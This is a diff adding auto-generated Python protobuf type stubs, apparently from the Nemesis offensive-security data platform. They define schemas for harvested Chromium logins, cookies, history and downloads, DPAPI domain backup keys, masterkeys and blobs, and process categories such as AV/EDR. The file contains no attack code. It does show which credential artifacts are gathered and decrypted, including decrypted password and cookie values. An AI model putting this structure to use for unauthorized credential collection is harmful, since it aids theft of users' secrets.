+class ChromiumHistoryEntry(google.protobuf.message.Message):
+ """//////////////////////////////////////////////////
+
+ Other internal Chromium messages
+
+ //////////////////////////////////////////////////
+ """
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ ORIGINATING_OBJECT_ID_FIELD_NUMBER: builtins.int
+ USER_DATA_DIRECTORY_FIELD_NUMBER: builtins.int
+ USERNAME_FIELD_NUMBER: builtins.int
+ BROWSER_FIELD_NUMBER: builtins.int
+ URL_FIELD_NUMBER: builtins.int
+ TITLE_FIELD_NUMBER: builtins.int
+ VISIT_COUNT_FIELD_NUMBER: builtins.int
+ TYPED_COUNT_FIELD_NUMBER: builtins.int
+ LAST_VISIT_TIME_FIELD_NUMBER: builtins.int
+ originating_object_id: builtins.str
+ user_data_directory: builtins.str
+ username: builtins.str
+ browser: builtins.str
+ url: builtins.str
+ title: builtins.str
+ visit_count: builtins.int
+ typed_count: builtins.int
+ @property
+ def last_visit_time(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ def __init__(
+ self,
+ *,
+ originating_object_id: builtins.str = ...,
+ user_data_directory: builtins.str = ...,
+ username: builtins.str = ...,
+ browser: builtins.str = ...,
+ url: builtins.str = ...,
+ title: builtins.str = ...,
+ visit_count: builtins.int = ...,
+ typed_count: builtins.int = ...,
+ last_visit_time: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["last_visit_time", b"last_visit_time"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["browser", b"browser", "last_visit_time", b"last_visit_time", "originating_object_id", b"originating_object_id", "title", b"title", "typed_count", b"typed_count", "url", b"url", "user_data_directory", b"user_data_directory", "username", b"username", "visit_count", b"visit_count"]) -> None: ...
+
+global___ChromiumHistoryEntry = ChromiumHistoryEntry
+
+@typing_extensions.final
+class ChromiumHistoryMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___ChromiumHistoryEntry]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___ChromiumHistoryEntry] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___ChromiumHistoryMessage = ChromiumHistoryMessage
+
+@typing_extensions.final
+class ChromiumDownload(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ ORIGINATING_OBJECT_ID_FIELD_NUMBER: builtins.int
+ USER_DATA_DIRECTORY_FIELD_NUMBER: builtins.int
+ USERNAME_FIELD_NUMBER: builtins.int
+ BROWSER_FIELD_NUMBER: builtins.int
+ URL_FIELD_NUMBER: builtins.int
+ DOWNLOAD_PATH_FIELD_NUMBER: builtins.int
+ START_TIME_FIELD_NUMBER: builtins.int
+ END_TIME_FIELD_NUMBER: builtins.int
+ TOTAL_BYTES_FIELD_NUMBER: builtins.int
+ DANGER_TYPE_FIELD_NUMBER: builtins.int
+ originating_object_id: builtins.str
+ user_data_directory: builtins.str
+ username: builtins.str
+ browser: builtins.str
+ url: builtins.str
+ download_path: builtins.str
+ @property
+ def start_time(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ @property
+ def end_time(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ total_bytes: builtins.int
+ danger_type: builtins.str
+ def __init__(
+ self,
+ *,
+ originating_object_id: builtins.str = ...,
+ user_data_directory: builtins.str = ...,
+ username: builtins.str = ...,
+ browser: builtins.str = ...,
+ url: builtins.str = ...,
+ download_path: builtins.str = ...,
+ start_time: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ end_time: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ total_bytes: builtins.int = ...,
+ danger_type: builtins.str = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["end_time", b"end_time", "start_time", b"start_time"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["browser", b"browser", "danger_type", b"danger_type", "download_path", b"download_path", "end_time", b"end_time", "originating_object_id", b"originating_object_id", "start_time", b"start_time", "total_bytes", b"total_bytes", "url", b"url", "user_data_directory", b"user_data_directory", "username", b"username"]) -> None: ...
+
+global___ChromiumDownload = ChromiumDownload
+
+@typing_extensions.final
+class ChromiumDownloadMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___ChromiumDownload]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___ChromiumDownload] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___ChromiumDownloadMessage = ChromiumDownloadMessage
+
+@typing_extensions.final
+class ChromiumLogin(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ ORIGINATING_OBJECT_ID_FIELD_NUMBER: builtins.int
+ USER_DATA_DIRECTORY_FIELD_NUMBER: builtins.int
+ USERNAME_FIELD_NUMBER: builtins.int
+ BROWSER_FIELD_NUMBER: builtins.int
+ ORIGIN_URL_FIELD_NUMBER: builtins.int
+ USERNAME_VALUE_FIELD_NUMBER: builtins.int
+ SIGNON_REALM_FIELD_NUMBER: builtins.int
+ DATE_CREATED_FIELD_NUMBER: builtins.int
+ DATE_LAST_USED_FIELD_NUMBER: builtins.int
+ DATE_PASSWORD_MODIFIED_FIELD_NUMBER: builtins.int
+ TIMES_USED_FIELD_NUMBER: builtins.int
+ PASSWORD_VALUE_ENC_FIELD_NUMBER: builtins.int
+ ENCRYPTION_TYPE_FIELD_NUMBER: builtins.int
+ MASTERKEY_GUID_FIELD_NUMBER: builtins.int
+ IS_DECRYPTED_FIELD_NUMBER: builtins.int
+ PASSWORD_VALUE_DEC_FIELD_NUMBER: builtins.int
+ originating_object_id: builtins.str
+ user_data_directory: builtins.str
+ username: builtins.str
+ browser: builtins.str
+ origin_url: builtins.str
+ username_value: builtins.str
+ signon_realm: builtins.str
+ @property
+ def date_created(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ @property
+ def date_last_used(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ @property
+ def date_password_modified(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ times_used: builtins.int
+ password_value_enc: builtins.bytes
+ encryption_type: builtins.str
+ masterkey_guid: builtins.str
+ is_decrypted: builtins.bool
+ password_value_dec: builtins.str
+ def __init__(
+ self,
+ *,
+ originating_object_id: builtins.str = ...,
+ user_data_directory: builtins.str = ...,
+ username: builtins.str = ...,
+ browser: builtins.str = ...,
+ origin_url: builtins.str = ...,
+ username_value: builtins.str = ...,
+ signon_realm: builtins.str = ...,
+ date_created: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ date_last_used: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ date_password_modified: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ times_used: builtins.int = ...,
+ password_value_enc: builtins.bytes = ...,
+ encryption_type: builtins.str = ...,
+ masterkey_guid: builtins.str = ...,
+ is_decrypted: builtins.bool = ...,
+ password_value_dec: builtins.str = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["date_created", b"date_created", "date_last_used", b"date_last_used", "date_password_modified", b"date_password_modified"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["browser", b"browser", "date_created", b"date_created", "date_last_used", b"date_last_used", "date_password_modified", b"date_password_modified", "encryption_type", b"encryption_type", "is_decrypted", b"is_decrypted", "masterkey_guid", b"masterkey_guid", "origin_url", b"origin_url", "originating_object_id", b"originating_object_id", "password_value_dec", b"password_value_dec", "password_value_enc", b"password_value_enc", "signon_realm", b"signon_realm", "times_used", b"times_used", "user_data_directory", b"user_data_directory", "username", b"username", "username_value", b"username_value"]) -> None: ...
+
+global___ChromiumLogin = ChromiumLogin
+
+@typing_extensions.final
+class ChromiumLoginMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___ChromiumLogin]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___ChromiumLogin] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___ChromiumLoginMessage = ChromiumLoginMessage
+
+@typing_extensions.final
+class ChromiumCookie(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ ORIGINATING_OBJECT_ID_FIELD_NUMBER: builtins.int
+ USER_DATA_DIRECTORY_FIELD_NUMBER: builtins.int
+ USERNAME_FIELD_NUMBER: builtins.int
+ BROWSER_FIELD_NUMBER: builtins.int
+ HOST_KEY_FIELD_NUMBER: builtins.int
+ NAME_FIELD_NUMBER: builtins.int
+ PATH_FIELD_NUMBER: builtins.int
+ CREATION_FIELD_NUMBER: builtins.int
+ EXPIRES_FIELD_NUMBER: builtins.int
+ LAST_ACCESS_FIELD_NUMBER: builtins.int
+ LAST_UPDATE_FIELD_NUMBER: builtins.int
+ IS_SECURE_FIELD_NUMBER: builtins.int
+ IS_HTTPONLY_FIELD_NUMBER: builtins.int
+ IS_SESSION_FIELD_NUMBER: builtins.int
+ SAMESITE_FIELD_NUMBER: builtins.int
+ SOURCE_PORT_FIELD_NUMBER: builtins.int
+ VALUE_ENC_FIELD_NUMBER: builtins.int
+ ENCRYPTION_TYPE_FIELD_NUMBER: builtins.int
+ MASTERKEY_GUID_FIELD_NUMBER: builtins.int
+ IS_DECRYPTED_FIELD_NUMBER: builtins.int
+ VALUE_DEC_FIELD_NUMBER: builtins.int
+ CLASSIFICATION_FIELD_NUMBER: builtins.int
+ originating_object_id: builtins.str
+ user_data_directory: builtins.str
+ username: builtins.str
+ browser: builtins.str
+ host_key: builtins.str
+ name: builtins.str
+ path: builtins.str
+ @property
+ def creation(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ @property
+ def expires(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ @property
+ def last_access(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ @property
+ def last_update(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ is_secure: builtins.bool
+ is_httponly: builtins.bool
+ is_session: builtins.bool
+ samesite: builtins.str
+ source_port: builtins.int
+ value_enc: builtins.bytes
+ encryption_type: builtins.str
+ masterkey_guid: builtins.str
+ is_decrypted: builtins.bool
+ value_dec: builtins.str
+ classification: builtins.str
+ """added in enrichment"""
+ def __init__(
+ self,
+ *,
+ originating_object_id: builtins.str = ...,
+ user_data_directory: builtins.str = ...,
+ username: builtins.str = ...,
+ browser: builtins.str = ...,
+ host_key: builtins.str = ...,
+ name: builtins.str = ...,
+ path: builtins.str = ...,
+ creation: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ expires: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ last_access: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ last_update: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ is_secure: builtins.bool = ...,
+ is_httponly: builtins.bool = ...,
+ is_session: builtins.bool = ...,
+ samesite: builtins.str = ...,
+ source_port: builtins.int = ...,
+ value_enc: builtins.bytes = ...,
+ encryption_type: builtins.str = ...,
+ masterkey_guid: builtins.str = ...,
+ is_decrypted: builtins.bool = ...,
+ value_dec: builtins.str = ...,
+ classification: builtins.str = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["creation", b"creation", "expires", b"expires", "last_access", b"last_access", "last_update", b"last_update"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["browser", b"browser", "classification", b"classification", "creation", b"creation", "encryption_type", b"encryption_type", "expires", b"expires", "host_key", b"host_key", "is_decrypted", b"is_decrypted", "is_httponly", b"is_httponly", "is_secure", b"is_secure", "is_session", b"is_session", "last_access", b"last_access", "last_update", b"last_update", "masterkey_guid", b"masterkey_guid", "name", b"name", "originating_object_id", b"originating_object_id", "path", b"path", "samesite", b"samesite", "source_port", b"source_port", "user_data_directory", b"user_data_directory", "username", b"username", "value_dec", b"value_dec", "value_enc", b"value_enc"]) -> None: ...
+
+global___ChromiumCookie = ChromiumCookie
+
+@typing_extensions.final
+class ChromiumCookieMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___ChromiumCookie]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___ChromiumCookie] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___ChromiumCookieMessage = ChromiumCookieMessage
+
+@typing_extensions.final
+class ChromiumStateFileMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___ChromiumStateFile]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___ChromiumStateFile] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___ChromiumStateFileMessage = ChromiumStateFileMessage
+
+@typing_extensions.final
+class DpapiDomainBackupkey(google.protobuf.message.Message):
+ """//////////////////////////////////////////////////
+
+ DPAPI
+
+ //////////////////////////////////////////////////
+ """
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ DOMAIN_BACKUPKEY_GUID_FIELD_NUMBER: builtins.int
+ DOMAIN_CONTROLLER_FIELD_NUMBER: builtins.int
+ DOMAIN_BACKUPKEY_BYTES_FIELD_NUMBER: builtins.int
+ domain_backupkey_guid: builtins.str
+ """the unique GUID identifying the domain backup key"""
+ domain_controller: builtins.str
+ """the FQDN of the domain controller the backup key was retrieved from"""
+ domain_backupkey_bytes: builtins.bytes
+ """the actual bytes of the domain backupkey"""
+ def __init__(
+ self,
+ *,
+ domain_backupkey_guid: builtins.str = ...,
+ domain_controller: builtins.str = ...,
+ domain_backupkey_bytes: builtins.bytes = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["domain_backupkey_bytes", b"domain_backupkey_bytes", "domain_backupkey_guid", b"domain_backupkey_guid", "domain_controller", b"domain_controller"]) -> None: ...
+
+global___DpapiDomainBackupkey = DpapiDomainBackupkey
+
+@typing_extensions.final
+class DpapiDomainBackupkeyMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___DpapiDomainBackupkey]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___DpapiDomainBackupkey] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___DpapiDomainBackupkeyMessage = DpapiDomainBackupkeyMessage
+
+@typing_extensions.final
+class DpapiMasterkey(google.protobuf.message.Message):
+ """also used in ParsedData"""
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ OBJECT_ID_FIELD_NUMBER: builtins.int
+ TYPE_FIELD_NUMBER: builtins.int
+ USERNAME_FIELD_NUMBER: builtins.int
+ USER_SID_FIELD_NUMBER: builtins.int
+ MASTERKEY_GUID_FIELD_NUMBER: builtins.int
+ IS_DECRYPTED_FIELD_NUMBER: builtins.int
+ MASTERKEY_BYTES_FIELD_NUMBER: builtins.int
+ DOMAIN_BACKUPKEY_GUID_FIELD_NUMBER: builtins.int
+ DOMAINKEY_PB_SECRET_FIELD_NUMBER: builtins.int
+ DECRYPTED_KEY_FULL_FIELD_NUMBER: builtins.int
+ DECRYPTED_KEY_SHA1_FIELD_NUMBER: builtins.int
+ object_id: builtins.str
+ """the Nemesis UUID returned by the web-api/file endpoint, also the name the file is stored as in S3"""
+ type: builtins.str
+ """whether this is a "domain_user, "local_user", or "machine" masterkey"""
+ username: builtins.str
+ """the username the masterkey belongs to"""
+ user_sid: builtins.str
+ """the SID of the user the masterkey belongs to"""
+ masterkey_guid: builtins.str
+ """the GUID that identifies that masterkey"""
+ is_decrypted: builtins.bool
+ """true if the key has been decrypted"""
+ masterkey_bytes: builtins.bytes
+ """the raw bytes of the masterkey subkey"""
+ domain_backupkey_guid: builtins.str
+ """bytes backupkey_bytes = 8;
+ bytes credhist_bytes = 9;
+
+ GUID of the domain master/backup key
+ """
+ domainkey_pb_secret: builtins.bytes
+ """bytes encrypted by the domain backup key"""
+ decrypted_key_full: builtins.bytes
+ """the full decrypted master key"""
+ decrypted_key_sha1: builtins.bytes
+ """the sha1 representation of the masterkey"""
+ def __init__(
+ self,
+ *,
+ object_id: builtins.str = ...,
+ type: builtins.str = ...,
+ username: builtins.str = ...,
+ user_sid: builtins.str = ...,
+ masterkey_guid: builtins.str = ...,
+ is_decrypted: builtins.bool = ...,
+ masterkey_bytes: builtins.bytes = ...,
+ domain_backupkey_guid: builtins.str = ...,
+ domainkey_pb_secret: builtins.bytes = ...,
+ decrypted_key_full: builtins.bytes = ...,
+ decrypted_key_sha1: builtins.bytes = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["decrypted_key_full", b"decrypted_key_full", "decrypted_key_sha1", b"decrypted_key_sha1", "domain_backupkey_guid", b"domain_backupkey_guid", "domainkey_pb_secret", b"domainkey_pb_secret", "is_decrypted", b"is_decrypted", "masterkey_bytes", b"masterkey_bytes", "masterkey_guid", b"masterkey_guid", "object_id", b"object_id", "type", b"type", "user_sid", b"user_sid", "username", b"username"]) -> None: ...
+
+global___DpapiMasterkey = DpapiMasterkey
+
+@typing_extensions.final
+class DpapiMasterkeyMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___DpapiMasterkey]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___DpapiMasterkey] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___DpapiMasterkeyMessage = DpapiMasterkeyMessage
+
+@typing_extensions.final
+class DpapiBlob(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ DPAPI_BLOB_ID_FIELD_NUMBER: builtins.int
+ ORIGINATING_OBJECT_ID_FIELD_NUMBER: builtins.int
+ ORIGINATING_REGISTRY_ID_FIELD_NUMBER: builtins.int
+ MASTERKEY_GUID_FIELD_NUMBER: builtins.int
+ IS_FILE_FIELD_NUMBER: builtins.int
+ IS_DECRYPTED_FIELD_NUMBER: builtins.int
+ ENC_DATA_BYTES_FIELD_NUMBER: builtins.int
+ ENC_DATA_OBJECT_ID_FIELD_NUMBER: builtins.int
+ DEC_DATA_BYTES_FIELD_NUMBER: builtins.int
+ DEC_DATA_OBJECT_ID_FIELD_NUMBER: builtins.int
+ dpapi_blob_id: builtins.str
+ """unique identifier so originating documents can keep track of which DPAPI blobs were extracted from it
+ in this case this ID does NOT refer to a file in S3
+ """
+ originating_object_id: builtins.str
+ """the Nemesis UUID referencing the original file the dpapi blob was extracted from"""
+ originating_registry_id: builtins.str
+ """the Nemesis UUID referencing the registry key the dpapi blob was extracted from"""
+ masterkey_guid: builtins.str
+ """the GUID of the masterkey for the blob"""
+ is_file: builtins.bool
+ """true if enc_data/dec_data are references to a binary submission (UUID in S3)"""
+ is_decrypted: builtins.bool
+ """true if the dpapi blob has been decrypted"""
+ enc_data_bytes: builtins.bytes
+ """If the encrypted data is < 1024 bytes it will be stored as bytes in this field"""
+ enc_data_object_id: builtins.str
+ """If the encrypted data is > 1024 bytes it will be will be stored in S3 as a UUID file"""
+ dec_data_bytes: builtins.bytes
+ """If the decrypted data is < 1024 bytes it will be stored as bytes in this field"""
+ dec_data_object_id: builtins.str
+ """If the decrypted data is > 1024 bytes it will be will be stored in S3 as a UUID file"""
+ def __init__(
+ self,
+ *,
+ dpapi_blob_id: builtins.str = ...,
+ originating_object_id: builtins.str = ...,
+ originating_registry_id: builtins.str = ...,
+ masterkey_guid: builtins.str = ...,
+ is_file: builtins.bool = ...,
+ is_decrypted: builtins.bool = ...,
+ enc_data_bytes: builtins.bytes = ...,
+ enc_data_object_id: builtins.str = ...,
+ dec_data_bytes: builtins.bytes = ...,
+ dec_data_object_id: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["dec_data_bytes", b"dec_data_bytes", "dec_data_object_id", b"dec_data_object_id", "dpapi_blob_id", b"dpapi_blob_id", "enc_data_bytes", b"enc_data_bytes", "enc_data_object_id", b"enc_data_object_id", "is_decrypted", b"is_decrypted", "is_file", b"is_file", "masterkey_guid", b"masterkey_guid", "originating_object_id", b"originating_object_id", "originating_registry_id", b"originating_registry_id"]) -> None: ...
+
+global___DpapiBlob = DpapiBlob
+
+@typing_extensions.final
+class DpapiBlobMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___DpapiBlob]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___DpapiBlob] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___DpapiBlobMessage = DpapiBlobMessage
+
+@typing_extensions.final
+class ServiceEnriched(google.protobuf.message.Message):
+ """//////////////////////////////////////////////////
+
+ Internal "enriched" schema messages
+
+ //////////////////////////////////////////////////
+ """
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ ORIGIN_FIELD_NUMBER: builtins.int
+ CATEGORY_FIELD_NUMBER: builtins.int
+ ENRICHMENTS_SUCCESS_FIELD_NUMBER: builtins.int
+ ENRICHMENTS_FAILURE_FIELD_NUMBER: builtins.int
+ @property
+ def origin(self) -> global___ServiceIngestion:
+ """Original service data ingested"""
+ category: builtins.str
+ """Categorization information about the service"""
+ @property
+ def enrichments_success(self) -> google.protobuf.internal.containers.RepeatedScalarFieldContainer[builtins.str]:
+ """Enrichments that ran and succeeded"""
+ @property
+ def enrichments_failure(self) -> google.protobuf.internal.containers.RepeatedScalarFieldContainer[builtins.str]:
+ """Enrichments that ran but failed"""
+ def __init__(
+ self,
+ *,
+ origin: global___ServiceIngestion | None = ...,
+ category: builtins.str = ...,
+ enrichments_success: collections.abc.Iterable[builtins.str] | None = ...,
+ enrichments_failure: collections.abc.Iterable[builtins.str] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["origin", b"origin"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["category", b"category", "enrichments_failure", b"enrichments_failure", "enrichments_success", b"enrichments_success", "origin", b"origin"]) -> None: ...
+
+global___ServiceEnriched = ServiceEnriched
+
+@typing_extensions.final
+class ServiceEnrichedMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___ServiceEnriched]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___ServiceEnriched] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___ServiceEnrichedMessage = ServiceEnrichedMessage
+
+@typing_extensions.final
+class ProcessCategory(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ CATEGORY_FIELD_NUMBER: builtins.int
+ DESCRIPTION_FIELD_NUMBER: builtins.int
+ category: builtins.str
+ """The category of the type of process (AV, EDR, infrastructure, etc.)"""
+ description: builtins.str
+ """A description of process"""
+ def __init__(
+ self,
+ *,
+ category: builtins.str = ...,
+ description: builtins.str | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["_description", b"_description", "description", b"description"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["_description", b"_description", "category", b"category", "description", b"description"]) -> None: ...
+ def WhichOneof(self, oneof_group: typing_extensions.Literal["_description", b"_description"]) -> typing_extensions.Literal["description"] | None: ...
+
+global___ProcessCategory = ProcessCategory
+
+@typing_extensions.final
+class ProcessEnriched(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ ORIGIN_FIELD_NUMBER: builtins.int
+ CATEGORY_FIELD_NUMBER: builtins.int
+ ENRICHMENTS_SUCCESS_FIELD_NUMBER: builtins.int
+ ENRICHMENTS_FAILURE_FIELD_NUMBER: builtins.int
+ @property
+ def origin(self) -> global___ProcessIngestion:
+ """Original process data ingested"""
+ @property
+ def category(self) -> global___ProcessCategory:
+ """Categorization information about the process"""
+ @property
+ def enrichments_success(self) -> google.protobuf.internal.containers.RepeatedScalarFieldContainer[builtins.str]:
+ """Enrichments that ran and succeeded"""
+ @property
+ def enrichments_failure(self) -> google.protobuf.internal.containers.RepeatedScalarFieldContainer[builtins.str]:
+ """Enrichments that ran but failed"""
+ def __init__(
+ self,
+ *,
+ origin: global___ProcessIngestion | None = ...,
+ category: global___ProcessCategory | None = ...,
+ enrichments_success: collections.abc.Iterable[builtins.str] | None = ...,
+ enrichments_failure: collections.abc.Iterable[builtins.str] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["category", b"category", "origin", b"origin"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["category", b"category", "enrichments_failure", b"enrichments_failure", "enrichments_success", b"enrichments_success", "origin", b"origin"]) -> None: ...
+
+global___ProcessEnriched = ProcessEnriched
+
+@typing_extensions.final
+class ProcessEnrichedMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___ProcessEnriched]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___ProcessEnriched] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___ProcessEnrichedMessage = ProcessEnrichedMessage
+
+@typing_extensions.final
+class NoseyParker(google.protobuf.message.Message):
+ """Protobuf representation of NoseyParker JSON output"""
+
